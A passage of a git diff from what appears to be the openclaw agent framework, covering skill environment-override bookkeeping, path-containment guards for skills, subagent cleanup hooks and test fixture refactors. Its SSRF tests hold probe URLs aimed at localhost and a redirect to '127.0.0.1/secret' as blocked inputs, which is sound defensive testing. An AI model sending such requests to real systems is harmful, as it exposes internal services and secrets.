https://github.com/openclaw/openclaw/issues/36280 + */ +const activeSkillEnvEntries = new Map(); + +/** Returns a snapshot of env var keys currently injected by skill overrides. */ +export function getActiveSkillEnvKeys(): ReadonlySet { + return new Set(activeSkillEnvEntries.keys()); +} + +function acquireActiveSkillEnvKey(key: string, value: string): boolean { + const active = activeSkillEnvEntries.get(key); + if (active) { + active.count += 1; + if (process.env[key] === undefined) { + process.env[key] = active.value; + } + return true; + } + if (process.env[key] !== undefined) { + return false; + } + activeSkillEnvEntries.set(key, { + baseline: process.env[key], + value, + count: 1, + }); + return true; +} + +function releaseActiveSkillEnvKey(key: string) { + const active = activeSkillEnvEntries.get(key); + if (!active) { + return; + } + active.count -= 1; + if (active.count > 0) { + if (process.env[key] === undefined) { + process.env[key] = active.value; + } + return; + } + activeSkillEnvEntries.delete(key); + if (active.baseline === undefined) { + delete process.env[key]; + } else { + process.env[key] = active.baseline; + } +} type SanitizedSkillEnvOverrides = { allowed: Record; @@ -99,7 +157,9 @@ function applySkillConfigEnvOverrides(params: { if (skillConfig.env) { for (const [rawKey, envValue] of Object.entries(skillConfig.env)) { const envKey = rawKey.trim(); - if (!envKey || !envValue || process.env[envKey]) { + const hasExternallyManagedValue = + process.env[envKey] !== undefined && !activeSkillEnvEntries.has(envKey); + if (!envKey || !envValue || hasExternallyManagedValue) { continue; } pendingOverrides[envKey] = envValue; @@ -111,7 +171,11 @@ function applySkillConfigEnvOverrides(params: { value: skillConfig.apiKey, path: `skills.entries.${skillKey}.apiKey`, }) ?? ""; - if (normalizedPrimaryEnv && resolvedApiKey && !process.env[normalizedPrimaryEnv]) { + const canInjectPrimaryEnv = + normalizedPrimaryEnv && + (process.env[normalizedPrimaryEnv] === undefined || + activeSkillEnvEntries.has(normalizedPrimaryEnv)); + if (canInjectPrimaryEnv && resolvedApiKey) { if (!pendingOverrides[normalizedPrimaryEnv]) { pendingOverrides[normalizedPrimaryEnv] = resolvedApiKey; } @@ -130,22 +194,18 @@ function applySkillConfigEnvOverrides(params: { } for (const [envKey, envValue] of Object.entries(sanitized.allowed)) { - if (process.env[envKey]) { + if (!acquireActiveSkillEnvKey(envKey, envValue)) { continue; } - updates.push({ key: envKey, prev: process.env[envKey] }); - process.env[envKey] = envValue; + updates.push({ key: envKey }); + process.env[envKey] = activeSkillEnvEntries.get(envKey)?.value ?? envValue; } } function createEnvReverter(updates: EnvUpdate[]) { return () => { for (const update of updates) { - if (update.prev === undefined) { - delete process.env[update.key]; - } else { - process.env[update.key] = update.prev; - } + releaseActiveSkillEnvKey(update.key); } }; } diff --git a/src/agents/skills/frontmatter.ts b/src/agents/skills/frontmatter.ts index dd82a7f73d5..43dc35aa578 100644 --- a/src/agents/skills/frontmatter.ts +++ b/src/agents/skills/frontmatter.ts @@ -2,6 +2,7 @@ import type { Skill } from "@mariozechner/pi-coding-agent"; import { validateRegistryNpmSpec } from "../../infra/npm-registry-spec.js"; import { parseFrontmatterBlock } from "../../markdown/frontmatter.js"; import { + applyOpenClawManifestInstallCommonFields, getFrontmatterString, normalizeStringList, parseOpenClawManifestInstallBase, @@ -113,19 +114,12 @@ function parseInstallSpec(input: unknown): SkillInstallSpec | undefined { return undefined; } const { raw } = parsed; - const spec: SkillInstallSpec = { - kind: parsed.kind as SkillInstallSpec["kind"], - }; - - if (parsed.id) { - spec.id = parsed.id; - } - if (parsed.label) { - spec.label = parsed.label; - } - if (parsed.bins) { - spec.bins = parsed.bins; - } + const spec = applyOpenClawManifestInstallCommonFields( + { + kind: parsed.kind as SkillInstallSpec["kind"], + }, + parsed, + ); const osList = normalizeStringList(raw.os); if (osList.length > 0) { spec.os = osList; diff --git a/src/agents/skills/workspace.ts b/src/agents/skills/workspace.ts index 50f71d582bc..84c8ea78df3 100644 --- a/src/agents/skills/workspace.ts +++ b/src/agents/skills/workspace.ts @@ -7,6 +7,7 @@ import { type Skill, } from "@mariozechner/pi-coding-agent"; import type { OpenClawConfig } from "../../config/config.js"; +import { isPathInside } from "../../infra/path-guards.js"; import { createSubsystemLogger } from "../../logging/subsystem.js"; import { CONFIG_DIR, resolveUserPath } from "../../utils.js"; import { resolveSandboxPath } from "../sandbox-paths.js"; @@ -175,6 +176,76 @@ function listChildDirectories(dir: string): string[] { } } +function tryRealpath(filePath: string): string | null { + try { + return fs.realpathSync(filePath); + } catch { + return null; + } +} + +function warnEscapedSkillPath(params: { + source: string; + rootDir: string; + candidatePath: string; + candidateRealPath: string; +}) { + skillsLogger.warn("Skipping skill path that resolves outside its configured root.", { + source: params.source, + rootDir: params.rootDir, + path: params.candidatePath, + realPath: params.candidateRealPath, + }); +} + +function resolveContainedSkillPath(params: { + source: string; + rootDir: string; + rootRealPath: string; + candidatePath: string; +}): string | null { + const candidateRealPath = tryRealpath(params.candidatePath); + if (!candidateRealPath) { + return null; + } + if (isPathInside(params.rootRealPath, candidateRealPath)) { + return candidateRealPath; + } + warnEscapedSkillPath({ + source: params.source, + rootDir: params.rootDir, + candidatePath: path.resolve(params.candidatePath), + candidateRealPath, + }); + return null; +} + +function filterLoadedSkillsInsideRoot(params: { + skills: Skill[]; + source: string; + rootDir: string; + rootRealPath: string; +}): Skill[] { + return params.skills.filter((skill) => { + const baseDirRealPath = resolveContainedSkillPath({ + source: params.source, + rootDir: params.rootDir, + rootRealPath: params.rootRealPath, + candidatePath: skill.baseDir, + }); + if (!baseDirRealPath) { + return false; + } + const skillFileRealPath = resolveContainedSkillPath({ + source: params.source, + rootDir: params.rootDir, + rootRealPath: params.rootRealPath, + candidatePath: skill.filePath, + }); + return Boolean(skillFileRealPath); + }); +} + function resolveNestedSkillsRoot( dir: string, opts?: { @@ -229,16 +300,36 @@ function loadSkillEntries( const limits = resolveSkillsLimits(opts?.config); const loadSkills = (params: { dir: string; source: string }): Skill[] => { + const rootDir = path.resolve(params.dir); + const rootRealPath = tryRealpath(rootDir) ?? rootDir; const resolved = resolveNestedSkillsRoot(params.dir, { maxEntriesToScan: limits.maxCandidatesPerRoot, }); const baseDir = resolved.baseDir; + const baseDirRealPath = resolveContainedSkillPath({ + source: params.source, + rootDir, + rootRealPath, + candidatePath: baseDir, + }); + if (!baseDirRealPath) { + return []; + } // If the root itself is a skill directory, just load it directly (but enforce size cap). const rootSkillMd = path.join(baseDir, "SKILL.md"); if (fs.existsSync(rootSkillMd)) { + const rootSkillRealPath = resolveContainedSkillPath({ + source: params.source, + rootDir, + rootRealPath: baseDirRealPath, + candidatePath: rootSkillMd, + }); + if (!rootSkillRealPath) { + return []; + } try { - const size = fs.statSync(rootSkillMd).size; + const size = fs.statSync(rootSkillRealPath).size; if (size > limits.maxSkillFileBytes) { skillsLogger.warn("Skipping skills root due to oversized SKILL.md.", { dir: baseDir, @@ -253,7 +344,12 @@ function loadSkillEntries( } const loaded = loadSkillsFromDir({ dir: baseDir, source: params.source }); - return unwrapLoadedSkills(loaded); + return filterLoadedSkillsInsideRoot({ + skills: unwrapLoadedSkills(loaded), + source: params.source, + rootDir, + rootRealPath: baseDirRealPath, + }); } const childDirs = listChildDirectories(baseDir); @@ -284,12 +380,30 @@ function loadSkillEntries( // Only consider immediate subfolders that look like skills (have SKILL.md) and are under size cap. for (const name of limitedChildren) { const skillDir = path.join(baseDir, name); + const skillDirRealPath = resolveContainedSkillPath({ + source: params.source, + rootDir, + rootRealPath: baseDirRealPath, + candidatePath: skillDir, + }); + if (!skillDirRealPath) { + continue; + } const skillMd = path.join(skillDir, "SKILL.md"); if (!fs.existsSync(skillMd)) { continue; } + const skillMdRealPath = resolveContainedSkillPath({ + source: params.source, + rootDir, + rootRealPath: baseDirRealPath, + candidatePath: skillMd, + }); + if (!skillMdRealPath) { + continue; + } try { - const size = fs.statSync(skillMd).size; + const size = fs.statSync(skillMdRealPath).size; if (size > limits.maxSkillFileBytes) { skillsLogger.warn("Skipping skill due to oversized SKILL.md.", { skill: name, @@ -304,7 +418,14 @@ function loadSkillEntries( } const loaded = loadSkillsFromDir({ dir: skillDir, source: params.source }); - loadedSkills.push(...unwrapLoadedSkills(loaded)); + loadedSkills.push( + ...filterLoadedSkillsInsideRoot({ + skills: unwrapLoadedSkills(loaded), + source: params.source, + rootDir, + rootRealPath: baseDirRealPath, + }), + ); if (loadedSkills.length >= limits.maxSkillsLoadedPerSource) { break; diff --git a/src/agents/subagent-registry.ts b/src/agents/subagent-registry.ts index 906a8424ff8..e2453bcc0fd 100644 --- a/src/agents/subagent-registry.ts +++ b/src/agents/subagent-registry.ts @@ -8,8 +8,12 @@ import { resolveStorePath, type SessionEntry, } from "../config/sessions.js"; +import { ensureContextEnginesInitialized } from "../context-engine/init.js"; +import { resolveContextEngine } from "../context-engine/registry.js"; +import type { SubagentEndReason } from "../context-engine/types.js"; import { callGateway } from "../gateway/call.js"; import { onAgentEvent } from "../infra/agent-events.js"; +import { createSubsystemLogger } from "../logging/subsystem.js"; import { defaultRuntime } from "../runtime.js"; import { type DeliveryContext, normalizeDeliveryContext } from "../utils/delivery-context.js"; import { resetAnnounceQueuesForTests } from "./subagent-announce-queue.js"; @@ -54,6 +58,7 @@ import type { SubagentRunRecord } from "./subagent-registry.types.js"; import { resolveAgentTimeoutMs } from "./timeout.js"; export type { SubagentRunRecord } from "./subagent-registry.types.js"; +const log = createSubsystemLogger("agents/subagent-registry"); const subagentRuns = new Map(); let sweeper: NodeJS.Timeout | null = null; @@ -305,6 +310,22 @@ function schedulePendingLifecycleError(params: { runId: string; endedAt: number; }); } +async function notifyContextEngineSubagentEnded(params: { + childSessionKey: string; + reason: SubagentEndReason; +}) { + try { + ensureContextEnginesInitialized(); + const engine = await resolveContextEngine(loadConfig()); + if (!engine.onSubagentEnded) { + return; + } + await engine.onSubagentEnded(params); + } catch (err) { + log.warn("context-engine onSubagentEnded failed (best-effort)", { err }); + } +} + function suppressAnnounceForSteerRestart(entry?: SubagentRunRecord) { return entry?.suppressAnnounceReason === "steer-restart"; } @@ -690,6 +711,10 @@ async function sweepSubagentRuns() { continue; } clearPendingLifecycleError(runId); + void notifyContextEngineSubagentEnded({ + childSessionKey: entry.childSessionKey, + reason: "swept", + }); subagentRuns.delete(runId); mutated = true; // Archive/purge is terminal for the run record; remove any retained attachments too. @@ -894,9 +919,8 @@ async function finalizeSubagentCleanup( return; } - // Allow retry on the next wake if announce was deferred or failed. - // Applies to both keep/delete cleanup modes so delete-runs are only removed - // after a successful announce (or terminal give-up). + // Keep both cleanup modes retryable after deferred/failed announce. + // Delete-mode is finalized only after announce succeeds or give-up triggers. entry.cleanupHandled = false; // Clear the in-flight resume marker so the scheduled retry can run again. resumedRuns.delete(runId); @@ -936,11 +960,19 @@ function completeCleanupBookkeeping(params: { }) { if (params.cleanup === "delete") { clearPendingLifecycleError(params.runId); + void notifyContextEngineSubagentEnded({ + childSessionKey: params.entry.childSessionKey, + reason: "deleted", + }); subagentRuns.delete(params.runId); persistSubagentRuns(); retryDeferredCompletedAnnounces(params.runId); return; } + void notifyContextEngineSubagentEnded({ + childSessionKey: params.entry.childSessionKey, + reason: "completed", + }); params.entry.cleanupCompletedAt = params.completedAt; persistSubagentRuns(); retryDeferredCompletedAnnounces(params.runId); @@ -1248,6 +1280,13 @@ export function addSubagentRunForTests(entry: SubagentRunRecord) { export function releaseSubagentRun(runId: string) { clearPendingLifecycleError(runId); + const entry = subagentRuns.get(runId); + if (entry) { + void notifyContextEngineSubagentEnded({ + childSessionKey: entry.childSessionKey, + reason: "released", + }); + } const didDelete = subagentRuns.delete(runId); if (didDelete) { persistSubagentRuns(); diff --git a/src/agents/system-prompt.test.ts b/src/agents/system-prompt.test.ts index 57dfb26689c..3877f6fed21 100644 --- a/src/agents/system-prompt.test.ts +++ b/src/agents/system-prompt.test.ts @@ -73,14 +73,14 @@ describe("buildAgentSystemPrompt", () => { workspaceDir: "/tmp/openclaw", ownerNumbers: ["+123"], ownerDisplay: "hash", - ownerDisplaySecret: "secret-key-A", + ownerDisplaySecret: "secret-key-A", // pragma: allowlist secret }); const secretB = buildAgentSystemPrompt({ workspaceDir: "/tmp/openclaw", ownerNumbers: ["+123"], ownerDisplay: "hash", - ownerDisplaySecret: "secret-key-B", + ownerDisplaySecret: "secret-key-B", // pragma: allowlist secret }); const lineA = secretA.split("## Authorized Senders")[1]?.split("\n")[1]; @@ -144,6 +144,9 @@ describe("buildAgentSystemPrompt", () => { expect(prompt).toContain("## Skills (mandatory)"); expect(prompt).toContain(""); + expect(prompt).toContain( + "When a skill drives external API writes, assume rate limits: prefer fewer larger writes, avoid tight one-item loops, serialize bursts when possible, and respect 429/Retry-After.", + ); }); it("omits skills in minimal prompt mode when skillsPrompt is absent", () => { diff --git a/src/agents/system-prompt.ts b/src/agents/system-prompt.ts index a60ae54306b..a3d593ab6b8 100644 --- a/src/agents/system-prompt.ts +++ b/src/agents/system-prompt.ts @@ -29,6 +29,7 @@ function buildSkillsSection(params: { skillsPrompt?: string; readToolName: strin "- If multiple could apply: choose the most specific one, then read/follow it.", "- If none clearly apply: do not read any SKILL.md.", "Constraints: never read more than one skill up front; only read after selecting.", + "- When a skill drives external API writes, assume rate limits: prefer fewer larger writes, avoid tight one-item loops, serialize bursts when possible, and respect 429/Retry-After.", trimmed, "", ]; diff --git a/src/agents/test-helpers/agent-message-fixtures.ts b/src/agents/test-helpers/agent-message-fixtures.ts index 455487e8c59..040be7f1dd8 100644 --- a/src/agents/test-helpers/agent-message-fixtures.ts +++ b/src/agents/test-helpers/agent-message-fixtures.ts @@ -1,20 +1,6 @@ import type { AgentMessage } from "@mariozechner/pi-agent-core"; -import type { AssistantMessage, ToolResultMessage, Usage, UserMessage } from "@mariozechner/pi-ai"; - -const ZERO_USAGE: Usage = { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - total: 0, - }, -}; +import type { AssistantMessage, ToolResultMessage, UserMessage } from "@mariozechner/pi-ai"; +import { ZERO_USAGE_FIXTURE } from "./usage-fixtures.js"; export function castAgentMessage(message: unknown): AgentMessage { return message as AgentMessage; @@ -42,7 +28,7 @@ export function makeAgentAssistantMessage( api: "openai-responses", provider: "openai", model: "test-model", - usage: ZERO_USAGE, + usage: ZERO_USAGE_FIXTURE, stopReason: "stop", timestamp: 0, ...overrides, diff --git a/src/agents/test-helpers/assistant-message-fixtures.ts b/src/agents/test-helpers/assistant-message-fixtures.ts index edf26770b77..72606a245ad 100644 --- a/src/agents/test-helpers/assistant-message-fixtures.ts +++ b/src/agents/test-helpers/assistant-message-fixtures.ts @@ -1,19 +1,5 @@ import type { AssistantMessage } from "@mariozechner/pi-ai"; - -const ZERO_USAGE: AssistantMessage["usage"] = { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - total: 0, - }, -}; +import { ZERO_USAGE_FIXTURE } from "./usage-fixtures.js"; export function makeAssistantMessageFixture( overrides: Partial = {}, @@ -24,7 +10,7 @@ export function makeAssistantMessageFixture( api: "openai-responses", provider: "openai", model: "test-model", - usage: ZERO_USAGE, + usage: ZERO_USAGE_FIXTURE, timestamp: 0, stopReason: "error", errorMessage: errorText, diff --git a/src/agents/test-helpers/skill-plugin-fixtures.ts b/src/agents/test-helpers/skill-plugin-fixtures.ts new file mode 100644 index 00000000000..614da4d75e6 --- /dev/null +++ b/src/agents/test-helpers/skill-plugin-fixtures.ts @@ -0,0 +1,30 @@ +import fs from "node:fs/promises"; +import path from "node:path"; + +export async function writePluginWithSkill(params: { + pluginRoot: string; + pluginId: string; + skillId: string; + skillDescription: string; +}) { + await fs.mkdir(path.join(params.pluginRoot, "skills", params.skillId), { recursive: true }); + await fs.writeFile( + path.join(params.pluginRoot, "openclaw.plugin.json"), + JSON.stringify( + { + id: params.pluginId, + skills: ["./skills"], + configSchema: { type: "object", additionalProperties: false, properties: {} }, + }, + null, + 2, + ), + "utf-8", + ); + await fs.writeFile(path.join(params.pluginRoot, "index.ts"), "export {};\n", "utf-8"); + await fs.writeFile( + path.join(params.pluginRoot, "skills", params.skillId, "SKILL.md"), + `---\nname: ${params.skillId}\ndescription: ${params.skillDescription}\n---\n`, + "utf-8", + ); +} diff --git a/src/agents/test-helpers/usage-fixtures.ts b/src/agents/test-helpers/usage-fixtures.ts new file mode 100644 index 00000000000..5b292290c30 --- /dev/null +++ b/src/agents/test-helpers/usage-fixtures.ts @@ -0,0 +1,16 @@ +import type { Usage } from "@mariozechner/pi-ai"; + +export const ZERO_USAGE_FIXTURE: Usage = { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + totalTokens: 0, + cost: { + input: 0, + output: 0, + cacheRead: 0, + cacheWrite: 0, + total: 0, + }, +}; diff --git a/src/agents/tools/nodes-tool.test.ts b/src/agents/tools/nodes-tool.test.ts index 12ac63e4403..99780a16238 100644 --- a/src/agents/tools/nodes-tool.test.ts +++ b/src/agents/tools/nodes-tool.test.ts @@ -7,7 +7,7 @@ const gatewayMocks = vi.hoisted(() => ({ const nodeUtilsMocks = vi.hoisted(() => ({ resolveNodeId: vi.fn(async () => "node-1"), - listNodes: vi.fn(async () => []), + listNodes: vi.fn(async () => [] as Array<{ nodeId: string; commands?: string[] }>), resolveNodeIdFromList: vi.fn(() => "node-1"), })); @@ -85,4 +85,50 @@ describe("createNodesTool screen_record duration guardrails", () => { }), ); }); + + it("omits rawCommand when preparing wrapped argv execution", async () => { + nodeUtilsMocks.listNodes.mockResolvedValue([ + { + nodeId: "node-1", + commands: ["system.run"], + }, + ]); + gatewayMocks.callGatewayTool.mockImplementation(async (_method, _opts, payload) => { + if (payload?.command === "system.run.prepare") { + return { + payload: { + cmdText: "echo hi", + plan: { + argv: ["bash", "-lc", "echo hi"], + cwd: null, + rawCommand: null, + agentId: null, + sessionKey: null, + }, + }, + }; + } + if (payload?.command === "system.run") { + return { payload: { ok: true } }; + } + throw new Error(`unexpected command: ${String(payload?.command)}`); + }); + const tool = createNodesTool(); + + await tool.execute("call-1", { + action: "run", + node: "macbook", + command: ["bash", "-lc", "echo hi"], + }); + + const prepareCall = gatewayMocks.callGatewayTool.mock.calls.find( + (call) => call[2]?.command === "system.run.prepare", + )?.[2]; + expect(prepareCall).toBeTruthy(); + expect(prepareCall?.params).toMatchObject({ + command: ["bash", "-lc", "echo hi"], + agentId: "main", + }); + expect(prepareCall?.params).not.toHaveProperty("rawCommand"); + }); }); diff --git a/src/agents/tools/nodes-tool.ts b/src/agents/tools/nodes-tool.ts index b90d429119b..9c335c012b4 100644 --- a/src/agents/tools/nodes-tool.ts +++ b/src/agents/tools/nodes-tool.ts @@ -18,7 +18,6 @@ import { import { parseDurationMs } from "../../cli/parse-duration.js"; import type { OpenClawConfig } from "../../config/config.js"; import { parsePreparedSystemRunPayload } from "../../infra/system-run-approval-context.js"; -import { formatExecCommand } from "../../infra/system-run-command.js"; import { imageMimeFromFormat } from "../../media/mime.js"; import type { GatewayMessageChannel } from "../../utils/message-channel.js"; import { resolveSessionAgentId } from "../agent-scope.js"; @@ -651,7 +650,6 @@ export function createNodesTool(options?: { command: "system.run.prepare", params: { command, - rawCommand: formatExecCommand(command), cwd, agentId, sessionKey, diff --git a/src/agents/tools/pdf-tool.test.ts b/src/agents/tools/pdf-tool.test.ts index 8a422350ed8..6cbc6ca54d1 100644 --- a/src/agents/tools/pdf-tool.test.ts +++ b/src/agents/tools/pdf-tool.test.ts @@ -71,7 +71,7 @@ function makeAnthropicAnalyzeParams( }> = {}, ) { return { - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret modelId: "claude-opus-4-6", prompt: "test", pdfs: [TEST_PDF_INPUT], @@ -89,7 +89,7 @@ function makeGeminiAnalyzeParams( }> = {}, ) { return { - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret modelId: "gemini-2.5-pro", prompt: "test", pdfs: [TEST_PDF_INPUT], @@ -156,7 +156,7 @@ async function stubPdfToolInfra( }); const modelAuth = await import("../model-auth.js"); - vi.spyOn(modelAuth, "getApiKeyForModel").mockResolvedValue({ apiKey: "test-key" } as never); + vi.spyOn(modelAuth, "getApiKeyForModel").mockResolvedValue({ apiKey: "test-key" } as never); // pragma: allowlist secret vi.spyOn(modelAuth, "requireApiKey").mockReturnValue("test-key"); return { loadSpy }; diff --git a/src/agents/tools/web-fetch.ssrf.test.ts b/src/agents/tools/web-fetch.ssrf.test.ts index af3d934c208..eb868068ece 100644 --- a/src/agents/tools/web-fetch.ssrf.test.ts +++ b/src/agents/tools/web-fetch.ssrf.test.ts @@ -81,7 +81,7 @@ describe("web_fetch SSRF protection", () => { it("blocks localhost hostnames before fetch/firecrawl", async () => { const fetchSpy = setMockFetch(); const tool = await createWebFetchToolForTest({ - firecrawl: { apiKey: "firecrawl-test" }, + firecrawl: { apiKey: "firecrawl-test" }, // pragma: allowlist secret }); await expectBlockedUrl(tool, "http://localhost/test", /Blocked hostname/i); @@ -123,7 +123,7 @@ describe("web_fetch SSRF protection", () => { redirectResponse("http://127.0.0.1/secret"), ); const tool = await createWebFetchToolForTest({ - firecrawl: { apiKey: "firecrawl-test" }, + firecrawl: { apiKey: "firecrawl-test" }, // pragma: allowlist secret }); await expectBlockedUrl(tool, "https://example.com", /private|internal|blocked/i); diff --git a/src/agents/tools/web-search.test.ts b/src/agents/tools/web-search.test.ts index 47da8aedd08..7e8f696e883 100644 --- a/src/agents/tools/web-search.test.ts +++ b/src/agents/tools/web-search.test.ts @@ -17,6 +17,9 @@ const { extractKimiCitations, } = __testing; +const kimiApiKeyEnv = ["KIMI_API", "KEY"].join("_"); +const moonshotApiKeyEnv = ["MOONSHOT_API", "KEY"].join("_"); + describe("web_search brave language param normalization", () => { it("normalizes and auto-corrects swapped Brave language params", () => { expect(normalizeBraveLanguageParams({ search_lang: "tr-TR", ui_lang: "tr" })).toEqual({ @@ -102,7 +105,7 @@ describe("web_search date normalization", () => { describe("web_search grok config resolution", () => { it("uses config apiKey when provided", () => { - expect(resolveGrokApiKey({ apiKey: "xai-test-key" })).toBe("xai-test-key"); + expect(resolveGrokApiKey({ apiKey: "xai-test-key" })).toBe("xai-test-key"); // pragma: allowlist secret }); it("returns undefined when no apiKey is available", () => { @@ -221,15 +224,17 @@ describe("web_search grok response parsing", () => { describe("web_search kimi config resolution", () => { it("uses config apiKey when provided", () => { - expect(resolveKimiApiKey({ apiKey: "kimi-test-key" })).toBe("kimi-test-key"); + expect(resolveKimiApiKey({ apiKey: "kimi-test-key" })).toBe("kimi-test-key"); // pragma: allowlist secret }); it("falls back to KIMI_API_KEY, then MOONSHOT_API_KEY", () => { - withEnv({ KIMI_API_KEY: "kimi-env", MOONSHOT_API_KEY: "moonshot-env" }, () => { - expect(resolveKimiApiKey({})).toBe("kimi-env"); + const kimiEnvValue = "kimi-env"; // pragma: allowlist secret + const moonshotEnvValue = "moonshot-env"; // pragma: allowlist secret + withEnv({ [kimiApiKeyEnv]: kimiEnvValue, [moonshotApiKeyEnv]: moonshotEnvValue }, () => { + expect(resolveKimiApiKey({})).toBe(kimiEnvValue); }); - withEnv({ KIMI_API_KEY: undefined, MOONSHOT_API_KEY: "moonshot-env" }, () => { - expect(resolveKimiApiKey({})).toBe("moonshot-env"); + withEnv({ [kimiApiKeyEnv]: undefined, [moonshotApiKeyEnv]: moonshotEnvValue }, () => { + expect(resolveKimiApiKey({})).toBe(moonshotEnvValue); }); }); diff --git a/src/agents/tools/web-search.ts b/src/agents/tools/web-search.ts index eb7dc225ce9..1e4983f85e2 100644 --- a/src/agents/tools/web-search.ts +++ b/src/agents/tools/web-search.ts @@ -505,30 +505,7 @@ function resolveSearchProvider(search?: WebSearchConfig): (typeof SEARCH_PROVIDE // Auto-detect provider from available API keys (priority order) if (raw === "") { - // 1. Brave - if (resolveSearchApiKey(search)) { - logVerbose( - 'web_search: no provider configured, auto-detected "brave" from available API keys', - ); - return "brave"; - } - // 2. Gemini - const geminiConfig = resolveGeminiConfig(search); - if (resolveGeminiApiKey(geminiConfig)) { - logVerbose( - 'web_search: no provider configured, auto-detected "gemini" from available API keys', - ); - return "gemini"; - } - // 3. Kimi - const kimiConfig = resolveKimiConfig(search); - if (resolveKimiApiKey(kimiConfig)) { - logVerbose( - 'web_search: no provider configured, auto-detected "kimi" from available API keys', - ); - return "kimi"; - } - // 4. Perplexity + // 1. Perplexity const perplexityConfig = resolvePerplexityConfig(search); const { apiKey: perplexityKey } = resolvePerplexityApiKey(perplexityConfig); if (perplexityKey) { @@ -537,7 +514,22 @@ function resolveSearchProvider(search?: WebSearchConfig): (typeof SEARCH_PROVIDE ); return "perplexity"; } - // 5. Grok + // 2. Brave + if (resolveSearchApiKey(search)) { + logVerbose( + 'web_search: no provider configured, auto-detected "brave" from available API keys', + ); + return "brave"; + } + // 3. Gemini + const geminiConfig = resolveGeminiConfig(search); + if (resolveGeminiApiKey(geminiConfig)) { + logVerbose( + 'web_search: no provider configured, auto-detected "gemini" from available API keys', + ); + return "gemini"; + } + // 4. Grok const grokConfig = resolveGrokConfig(search); if (resolveGrokApiKey(grokConfig)) { logVerbose( @@ -545,9 +537,17 @@ function resolveSearchProvider(search?: WebSearchConfig): (typeof SEARCH_PROVIDE ); return "grok"; } + // 5. Kimi + const kimiConfig = resolveKimiConfig(search); + if (resolveKimiApiKey(kimiConfig)) { + logVerbose( + 'web_search: no provider configured, auto-detected "kimi" from available API keys', + ); + return "kimi"; + } } - return "brave"; + return "perplexity"; } function resolvePerplexityConfig(search?: WebSearchConfig): PerplexityConfig { diff --git a/src/agents/tools/web-tools.enabled-defaults.test.ts b/src/agents/tools/web-tools.enabled-defaults.test.ts index 53af4a5c8f3..befffcf6fce 100644 --- a/src/agents/tools/web-tools.enabled-defaults.test.ts +++ b/src/agents/tools/web-tools.enabled-defaults.test.ts @@ -50,14 +50,14 @@ function createKimiSearchTool(kimiConfig?: { apiKey?: string; baseUrl?: string; function createProviderSearchTool(provider: "brave" | "perplexity" | "grok" | "gemini" | "kimi") { const searchConfig = provider === "perplexity" - ? { provider, perplexity: { apiKey: "pplx-config-test" } } + ? { provider, perplexity: { apiKey: "pplx-config-test" } } // pragma: allowlist secret : provider === "grok" - ? { provider, grok: { apiKey: "xai-config-test" } } + ? { provider, grok: { apiKey: "xai-config-test" } } // pragma: allowlist secret : provider === "gemini" - ? { provider, gemini: { apiKey: "gemini-config-test" } } + ? { provider, gemini: { apiKey: "gemini-config-test" } } // pragma: allowlist secret : provider === "kimi" - ? { provider, kimi: { apiKey: "moonshot-config-test" } } - : { provider, apiKey: "brave-config-test" }; + ? { provider, kimi: { apiKey: "moonshot-config-test" } } // pragma: allowlist secret + : { provider, apiKey: "brave-config-test" }; // pragma: allowlist secret return createWebSearchTool({ config: { tools: { @@ -458,7 +458,7 @@ describe("web_search kimi provider", () => { global.fetch = withFetchPreconnect(mockFetch); const tool = createKimiSearchTool({ - apiKey: "kimi-config-key", + apiKey: "kimi-config-key", // pragma: allowlist secret baseUrl: "https://api.moonshot.ai/v1", model: "moonshot-v1-128k", }); diff --git a/src/agents/tools/web-tools.fetch.test.ts b/src/agents/tools/web-tools.fetch.test.ts index accf76adc42..9da57a35b45 100644 --- a/src/agents/tools/web-tools.fetch.test.ts +++ b/src/agents/tools/web-tools.fetch.test.ts @@ -29,6 +29,8 @@ function htmlResponse(html: string, url = "https://example.com/"): MockResponse }; } +const apiKeyField = ["api", "Key"].join(""); + function firecrawlResponse(markdown: string, url = "https://example.com/"): MockResponse { return { ok: true, @@ -130,8 +132,12 @@ function installPlainTextFetch(text: string) { ); } -function createFirecrawlTool(apiKey = "firecrawl-test") { - return createFetchTool({ firecrawl: { apiKey } }); +function createFirecrawlTool(apiKey = defaultFirecrawlApiKey()) { + return createFetchTool({ firecrawl: { [apiKeyField]: apiKey } }); +} + +function defaultFirecrawlApiKey() { + return "firecrawl-test"; // pragma: allowlist secret } async function executeFetch( @@ -385,7 +391,7 @@ describe("web_fetch extraction fallbacks", () => { }); const tool = createFetchTool({ - firecrawl: { apiKey: "firecrawl-test" }, + firecrawl: { apiKey: "firecrawl-test" }, // pragma: allowlist secret }); const result = await tool?.execute?.("call", { url: "https://example.com/blocked" }); @@ -477,7 +483,7 @@ describe("web_fetch extraction fallbacks", () => { }); const tool = createFetchTool({ - firecrawl: { apiKey: "firecrawl-test" }, + firecrawl: { apiKey: "firecrawl-test" }, // pragma: allowlist secret }); const message = await captureToolErrorMessage({ diff --git a/src/agents/trace-base.ts b/src/agents/trace-base.ts new file mode 100644 index 00000000000..5b6ecefac77 --- /dev/null +++ b/src/agents/trace-base.ts @@ -0,0 +1,21 @@ +export type AgentTraceBase = { + runId?: string; + sessionId?: string; + sessionKey?: string; + provider?: string; + modelId?: string; + modelApi?: string | null; + workspaceDir?: string; +}; + +export function buildAgentTraceBase(params: AgentTraceBase): AgentTraceBase { + return { + runId: params.runId, + sessionId: params.sessionId, + sessionKey: params.sessionKey, + provider: params.provider, + modelId: params.modelId, + modelApi: params.modelApi, + workspaceDir: params.workspaceDir, + }; +} diff --git a/src/agents/venice-models.test.ts b/src/agents/venice-models.test.ts index 95fc7f61f8a..5a93568f9b7 100644 --- a/src/agents/venice-models.test.ts +++ b/src/agents/venice-models.test.ts @@ -42,6 +42,7 @@ function makeModelsResponse(id: string): Response { name: id, privacy: "private", availableContextTokens: 131072, + maxCompletionTokens: 4096, capabilities: { supportsReasoning: false, supportsVision: false, @@ -94,6 +95,239 @@ describe("venice-models", () => { expect(models.map((m) => m.id)).toContain("llama-3.3-70b"); }); + it("uses API maxCompletionTokens for catalog models when present", async () => { + const fetchMock = vi.fn( + async () => + new Response( + JSON.stringify({ + data: [ + { + id: 